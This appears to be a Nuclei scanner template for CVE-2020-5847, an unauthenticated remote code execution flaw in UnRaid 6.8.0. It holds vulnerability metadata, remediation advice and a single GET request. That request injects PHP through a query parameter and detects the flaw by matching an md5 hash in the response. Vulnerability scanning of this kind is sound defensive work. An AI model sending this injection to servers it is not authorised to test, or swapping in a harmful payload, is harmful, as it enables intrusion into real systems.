id: CVE-2020-5847

info:
  name: UnRaid <=6.80 - Remote Code Execution
  author: madrobot
  severity: critical
  description: UnRaid <=6.80 allows remote unauthenticated attackers to execute arbitrary code.
  impact: |
    Unauthenticated attackers can execute arbitrary code on UnRaid servers, leading to complete system compromise and access to all stored data.
  remediation: |
    Upgrade UnRaid to a version higher than 6.80 to mitigate the vulnerability.
  reference:
    - https://sysdream.com/news/lab/2020-02-06-cve-2020-5847-cve-2020-5849-unraid-6-8-0-unauthenticated-remote-code-execution-as-root/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5847
    - https://sysdream.com/news/lab/
    - https://forums.unraid.net/forum/7-announcements/
    - https://github.com/Ostorlab/KEV
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-5847
    cwe-id: CWE-94,CWE-668
    epss-score: 0.95844
    epss-percentile: 0.99867
    cpe: cpe:2.3:a:unraid:unraid:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: unraid
    product: unraid
  tags: cve2020,cve,rce,kev,unraid,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/webGui/images/green-on.png/?path=x&site[x][text]=%3C?php%20echo%20md5(%22CVE-2020-5847%22);%20?%3E"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "b13928fbcfff659363d7c7d1ec008d56"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d72226f2616137ed088c5ff26bd26259c2cd27cdf82230b0ebb6a77e5d9cbb7702201ad52286e9cd16b2f810afe578e742d623dd2273d9f6622902955ec541aad6a1:922c64590222798bb761d5b6d8e72950